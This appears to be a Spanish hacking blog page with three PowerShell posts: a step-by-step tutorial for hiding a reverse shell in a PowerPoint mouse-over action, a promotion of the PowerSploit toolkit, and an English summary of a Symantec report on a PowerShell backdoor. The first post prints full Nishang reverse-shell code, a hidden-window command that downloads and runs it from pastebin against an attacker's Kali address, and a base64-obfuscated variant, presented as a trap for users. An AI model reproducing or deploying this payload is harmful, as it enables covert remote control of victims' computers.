Mostrando entradas con la etiqueta PowerShell. Mostrar todas las entradas
Mostrando entradas con la etiqueta PowerShell. Mostrar todas las entradas

Meterpreteando un PowerPoint

Holaaaaaa amigos, hace bien poco, estuve leyendo una noticia en "The Hacker News", sobre un malware que se repartía a través de un powerpoint (http://thehackernews.com/2017/06/microsoft-powerpoint-malware.html).
La noticia dice algo así como que los atacantes, pueden hacer que un usuario se descargue un malware sin ni si quiera clickar en nada. Razón lleva, pero también dice, que al usuario se le muestra un pop up, alertando sobre que power point quiere ejecutar blah,blah,blah...

Bien, hoy Fare9, os trae, como "Meterpretear", un power point... En realidad vamos a coger un netcat con powershell, y hacer que este se ejecute. Daremos las gracias a mi compañero Alberto, que me ha ayudado bastante con esto.

Lo primero que haremos será por supuesto, un pequeño ejemplo, en el cual simplemente mostraremos por pantalla, algo sencillo, para mostrar las capacidades.


Abriremos, por lo tanto un Power Point, totalmente vacío:


Ahora insertaremos una forma, que ocupe toda la pantalla y esté en blanco, para ello iremos a insertar -> Formas, y escogeremos el rectángulo:

Lo dicho cogemos la rectangular, y seleccionamos casi toda la diapositiva, así no hará falta que el usuario se dirija directamente a un objeto en concreto, sino que al mover el ratón por la pantalla un poco:
Bien, aquí la imagen de la forma en toda la diapositiva, la dejaré en azul para que se note mejor, pero se puede cambiar el color en "Relleno de forma". La cosa es ponerlo que no se note nada raro :) :) :) :)....


Ahora seguido, seleccionaremos con el ratón este objeto, iremos a "Insertar" en las pestañas de arriba, e iremos a "Acción"
A la derecha tenemos acción, al abrir tenemos algo como esto:
Iremos directos a "Pasar el mouse por encima", y seleccionaremos el radio button de "Ejecutar programa", seguido escribiremos en su respectiva caja lo siguiente:

powershell -c "echo Holaaaaa, artemaniacos; sleep 10"

Con esto cuando el usuario vea el powershell y permita la ejecución, le saldrá un powershell con un "hola artemaniacos" y dejaremos 10 segundos para que se pueda apreciar.

Vamos a ejecutar poniendo la diapositiva y a mover el ratón un poco por encima:

lo primero que veremos es esta alerta de seguridad:

Haremos de usuario "buen intencionado", y habilitaremos, si windows permite habilitar será por algo, entonces nos encontraremos con esto:

Como vemos, tenemos un powershell, con el texto introducido.

Ahora iremos un paso de gigante más allá, obtendremos un netcat en powershell, y haremos un reverse shell con una máquina kali, para que tenga el placer de conocer lo que es una powershell remota. Para ello usaremos la siguiente shell o "netcat" perteneciente al framework nishang.

Pero la tunearemos un poco, para ello cambiaremos todas las comillas dobles, por simples (por si usamos las dobles fuera), luego quitaremos todo espacio y quitaremos todos los comentarios, seguidamente a todas las sentencias, tendremos que ponerle ; para poder unirlas así a porrillo, quedará algo tal que así:

function Invoke-PowerShellTcp
{
    [CmdletBinding(DefaultParameterSetName='reverse')] Param(
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName='reverse')]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName='bind')]
        [String]
        $IPAddress,
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName='reverse')]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName='bind')]
        [Int]
        $Port,
        [Parameter(ParameterSetName='reverse')]
        [Switch]
        $Reverse,
        [Parameter(ParameterSetName='bind')]
        [Switch]
        $Bind
    )
    if ($Reverse)
    {
        $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port);
    }
    if ($Bind)
    {
        $listener = [System.Net.Sockets.TcpListener]$Port;
        $listener.start();
        $client = $listener.AcceptTcpClient();
    }
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    $sendbytes = ([text.encoding]::ASCII).GetBytes('Fare9 PowerShell running as user ' + $env:username + ' on ' + $env:computername + '`n');
    $stream.Write($sendbytes,0,$sendbytes.Length);
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');
    $stream.Write($sendbytes,0,$sendbytes.Length);
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;
        $data = $EncodedText.GetString($bytes,0, $i); 
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );
        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> ';
        $x = ($error[0] | Out-String);
        $error.clear();
        $sendback2 = $sendback2 + $x;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush(); 
    }
    $client.Close();
    $listener.Stop();
}

Bien, como veis, todas las sentencias tienen un ; al final para poder ponerlos a choclon, y no hay espacios en blanco, ya que ahora lo que habrá que hacer es ir linea a linea, quitar el salto de linea para dejarlo todo en la misma (no hagáis replace, que peta, tampoco es mucho). Al final (y para que no tengáis que hacer mucho) sale un chocloquen así de código:

function Invoke-PowerShellTcp {[CmdletBinding(DefaultParameterSetName='reverse')] Param([Parameter(Position = 0, Mandatory = $true, ParameterSetName='reverse')][Parameter(Position = 0, Mandatory = $false, ParameterSetName='bind')][String]$IPAddress,[Parameter(Position = 1, Mandatory = $true, ParameterSetName='reverse')][Parameter(Position = 1, Mandatory = $true, ParameterSetName='bind')][Int]$Port,[Parameter(ParameterSetName='reverse')][Switch]$Reverse,[Parameter(ParameterSetName='bind')][Switch]$Bind)if ($Reverse){$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port);}if ($Bind){$listener = [System.Net.Sockets.TcpListener]$Port; $listener.start();$client = $listener.AcceptTcpClient();} $stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('Fare9 PowerShell running as user ' + $env:username + ' on ' + $env:computername + '`n');$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;$data = $EncodedText.GetString($bytes,0, $i);  $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> ';$x = ($error[0] | Out-String);$error.clear();$sendback2 = $sendback2 + $x;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();  }$client.Close();$listener.Stop();}

Todo claro está, en la misma línea, ahora al final después de la segunda llave, vamos a poner esto:
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.163 -Port 4444

Siendo la IPAddress, la de vuestra máquina Kali:

  
Metemos el ; después de la última llave, para que powershell lo tome como otro comando a ejecutar. 
Finalmente, y para no tener que dar ningún archivo junto con el power point, meteremos el "payload" en pastebin, así el cliente se lo descargará antes de ejecutarlo, y lo meteremos en un rico RAW:
 Payload

Finalmente, tendremos que poner el comando que ejecutará el cliente, el cual se meterá en el powerpoint. El comando será algo así:

powershell -windowstyle hidden -c " $data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/DyAXZ0ac'); powershell -windowstyle hidden $data"

Con -windowstyle hidden, lo que hacemos es que la shell no esté constantemente en pantalla, desaparecerá:
  
Pues esto será lo que añadiremos en el powerpoint como acción.
  
 



Nos tocará en nuestra kali, poner un netcat a escuchar:


Ahora entonces queda ejecutar el powerpoint, y que el usuario caiga en nuestra trampa:


Bien, al arrancar y pasar el ratón, pues pasa lo mismo, la advertencia:
Como un buen usuario de windows, debemos habilitar claro está, si no, nos quedamos sin propiedades importantes de un archivo. Y al momento aparece durante un instante un powershell, el cual desaparece entre la bruma, y miramos en nuestra kali y mira que tenemos:

UOOOOOOOOOOOOOOOOOO una shell, desde un powerpoint, SIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII. Además es un powershell, mucho mejor que una CMD de esas cacas. UOOOOOOOOOOOOOOOOOOOO.

######################## ACTUALIZACIÓN

Podemos ir más allá, y para que no parezca tan coherente, podemos encodear el payload en base64, subirlo a pastebin igual, y ejecutarlo como antes.
Para encodear haremos lo siguiente, abrimos powershell y escribimos:
$data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/DyAXZ0ac') # obtenemos el payload sin encodear
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($data)
$EncodedText = [Convert]::ToBase64String($Bytes) # lo pasamos a base64
$EncodedText > encodeado.txt # lo metemos en un archivo
notepad encodeado.txt


Ahora tendremos algo así:
Ahora lo subimos a pastebin: https://pastebin.com/raw/ybxwvgAh

Y hacemos que el powerpoint ejecute lo siguiente:


powershell -windowstyle hidden -c " $data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/ybxwvgAh'); powershell -windowstyle hidden -encodedcommand $data"

Tenemos que pasar por lo mismo de antes, por la advertencia y por la ejecución, pero aquí tenemos otra vez una shell con el payload encodeado:


Bueno más o menos os he enseñado como meter una powershell netcat dentro de un PowerPoint, tanto Power, tanto Power, y tanto obtener y obtener el Power, vamos a celebrarlo con una cancioncita: Gimme the power - Molotov

Nos veremos pronto en el siguiente de 0 a exploiting que estoy preparando, y por lo demás, ya sabéis donde podéis encontrarme.
Si te gustó el Post, compártelo y si quieres saber todas las chorradas que suelo decir sígueme en mi twitter: Fare9 Twitter.

Y como dije, agradecimientos a mi compañero Alberto, por ayudarme a llevar esto a la práctica y darme la idea de subirlo a un pastebin.

Un saludo a todos los aficionados a la informática y al hacking.

Post-Explotación con PowerSploit



Hola a tod@s

A veces cuando realizamos un test de penetración no basta con acceder de forma ilegítima a una máquina, tenemos que conseguir persistencia, escalar privilegios, etc. Ahora comienza lo mejor, la post explotación.  Todo arsenal que tengamos es poco, os traigo algo muy bueno para powershell.

PowerSploit es una colección de módulos de Microsoft PowerShell que puede ser de gran utilidad para ayudarnos en test de penetración durante todas las fases de la evaluación. PowerSploit se compone de los siguientes módulos y scripts:


  • CodeExecution: Ejecutar código en una máquina de destino.
  • ScriptModification: Modificar y/o crear secuencias de comandos para su ejecución en una máquina.
  • Persistence: Agregar capacidades de persistencia a un script de PowerShell.
  • AntivirusBypass: Pues eso, evadir los antivirus.
  • Exfiltration: Todos los datos para nosotrosJ. Por ejemplo registra las teclas pulsadas.
  • Mayhem: Causan caos general con PowerShell. Por ejemplo  sobrescribir el master boot record con el mensaje que deseemos.
  • Privesc: Herramientas para ayudar con la escalada de privilegios en un objetivo.
  • Recon: Herramientas para ayudar en la fase de reconocimiento de una prueba de penetración.
  • Recon\Dictionaries: Una colección de diccionarios que se utilizan para ayudar en la fase de reconocimiento de una prueba de penetración.


Lo podéis descargar aquí.



 

Hackers use PowerShell script to carry out malicious task

PoweShell a Microsoft scrip language is a new technique in use by hackers nowadays. Symantec has identified a new script that works as a “Backdoor.Trojan” in a mysterious way, and is capable of injecting malicious code into “rundll32.exe”. By doing so, it can hide itself as a backdoor file.

If we see the image, it shows complicated script that averts users from realizing the clear text. However, this script used a parameter named “EncodedCommand” to encode the whole script in base64. When you decode the script, it still looks complicated.



The script again tries to decode itself from base64 into plain text and uses decompression task for the decoded script. This decompressed data will be functioned via the “Invoke Expression” command.



The attacker then uses “CompileAssemblyFromSource” command to assemble and perform embedded code. Then, the assembled code will execute “rundll32.exe” in a debarred state, add malicious code in the recently created process, and resume the “rundll32.exe”. Therefore, it can hide itself on the computer.

The injected code tries to find a remote computer for connection and waits for further instructions. The code will store these instructions with EXECUTE_READWRITE permissions to work in a silent way.

The below image shows how the injected code assigns the memory and gets the instructions.


Symantec has recommended some useful steps like update the virus software on time, avoid unknown PowerShell scripts from execution, and make a strong restriction in PowerShell default execution setting, so that potential malicious scripts will not work.